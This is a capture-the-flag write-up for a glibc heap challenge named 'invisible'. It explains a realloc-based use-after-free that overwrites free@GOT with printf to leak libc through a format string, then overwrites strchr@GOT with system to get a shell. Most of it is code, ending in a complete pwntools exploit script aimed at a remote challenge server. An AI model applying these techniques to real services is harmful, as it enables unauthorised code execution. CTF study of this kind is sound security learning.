invisible


Actually I didn’t participation this CTF. I just solved this challenge for fun. XD
I think this challenge is hard to solve by the writer’s intended solution, so I solved this challenge by unintended solution.

Mitigation


  • Relro : Partial RELRO
  • Stack : Canary found
  • NX : NX enable
  • PIE : No PIE (0x400000)

Analyzing


void edit(void)
{
  unsigned __int16 v0; // [rsp+Ch] [rbp-4h]
  unsigned __int16 v1; // [rsp+Eh] [rbp-2h]

  v0 = readint("index: ");
  if ( v0 <= 1u && ptr[v0] && (v1 = readint("size: "), v1 <= 0x78u) && realloc(ptr[v0], v1) )
  {
    *(ptr[v0] + readline("data: ", ptr[v0], v1 - 1)) = 0;
    puts("[+] edit: done");
  }
  else
  {
    puts("[-] edit: error");
  }
}

The edit function will call the realloc function, so we can free the chunk and leave dangling pointer in ptr by calling realloc(heap_ptr, 0).
In addition, we can corrupt the freed chunk by calling realloc(dangling_ptr, origin_size).

Libc leak

new(0, 0x58, 'ipwn')
edit(0, 0x00, 'ipwn') #0x60: freed_chunk
edit(0, 0x58, p64(0x601ffa)) #0x60: freed_chunk -> 0x601ffa
new(1, 0x58, 'ipwn') #0x60: 0x601ffa
edit(1, 0x78, 'ipwn') #0x60: 0x601ffa
delete(1) #0x80: freed_chunk; 0x60: 0x601ffa
new(1, 0x58, '\x00'*14 + p64(e.plt['printf'])[:6]) # free => printf
delete(0) #printf(freed_chunk)
new(0, 0x48, '%11p') #cause fsb.
delete(0) #printf("%11p")
libc_base = int(p.recvuntil('[')[:-1], 16) - libc.sym['__libc_start_main'] - 240
log.success('[LIBC] 0x%x'%libc_base)
delete(1) #clean ptr

This script will overwrite free_got to printf_plt. (You can understand the reason that why the free_got overwritten to printf_plt by looking at the comment. If you want to know detail, then you need to debugging yourself.)
Therefore, if we call the free function through free_plt, actually this action is calling the printf_plt. So we can trigger format string bug and libc leak.

Exploit

After that, we can exploit this challenge reliably by overwriting strchr_got to system. Even it is very easy. Just repeat the script when we did libc leak.

new(0, 0x38, 'ipwn') #0x40: 
edit(0, 0x00, 'ipwn') #0x40: freed_chunk
edit(0, 0x38, p64(0x602012)) #0x40: freed_chunk -> 0x602012
new(1, 0x38, 'ipwn') #0x40: 0x602012
edit(1, 0x68, 'ipwn') #0x40: 0x602012
delete(1) #0x70: freed_chunk; 0x40: 0x602012
new(1, 0x38, '/bin/sh;' + '\x00'*6 + p64(libc_base + libc.sym['system']))
#strchr => system => strchr(0x602012) => system("/bin/sh")

This script will overwrite strchr_got to system.
Just like before, you can understand it by looking at the comment. (For your information, 0x40 data pieces that were left when printf_plt was written on free_got are used as sizes to allocate heap.)

from pwn import *
import sys

is_local = len(sys.argv) < 2

e = ELF('./chall')
if is_local:
    p = process(e.path)
    libc = e.libc
else :
    p = remote('69.172.229.147', 9003)
    libc = ELF('./libc-2.23.so')

sla = p.sendlineafter
sa = p.sendafter
gol = lambda x:sla(': ', str(x))
go = lambda x:sa(': ', str(x))

def new(idx, size, data) :
    sla('> ', '1')
    gol(idx)
    gol(size)
    go(data)

def edit(idx, size, data):
    sla('> ', '2')
    gol(idx)
    gol(size)
    if(size > 1):
        go(data)

def delete(idx):
    sla('> ', '3')
    gol(idx)

def main():    
    new(0, 0x58, 'ipwn')
    edit(0, 0x00, 'ipwn')
    edit(0, 0x58, p64(0x601ffa)) #0x60: freed_chunk -> 0x601ffa
    new(1, 0x58, 'ipwn') #0x60: 0x601ffa
    edit(1, 0x78, 'ipwn') #0x60: 0x601ffa
    delete(1) #0x80: freed_chunk; 0x60: 0x601ffa
    new(1, 0x58, '\x00'*14 + p64(e.plt['printf'])[:6]) # free => printf
    delete(0) #printf(freed_chunk)
    new(0, 0x48, '%11p')
    delete(0) #printf("%11p")
    libc_base = int(p.recvuntil('[')[:-1], 16) - libc.sym['__libc_start_main'] - 240
    log.success('[LIBC] 0x%x'%libc_base)
    delete(1) #clean ptr

    #stage 2
    new(0, 0x38, 'ipwn') #0x40: 
    edit(0, 0x00, 'ipwn') #0x40: freed_chunk
    edit(0, 0x38, p64(0x602012)) #0x40: freed_chunk -> 0x602012
    new(1, 0x38, 'ipwn') #0x40: 0x602012
    delete(1) #0x40: 0x602012
    new(1, 0x38, '/bin/sh;' + '\x00'*6 + p64(libc_base + libc.sym['system']))
    #strchr => system => strchr(0x602012) => system("/bin/sh") 
    p.interactive()

if __name__ == '__main__':
    main()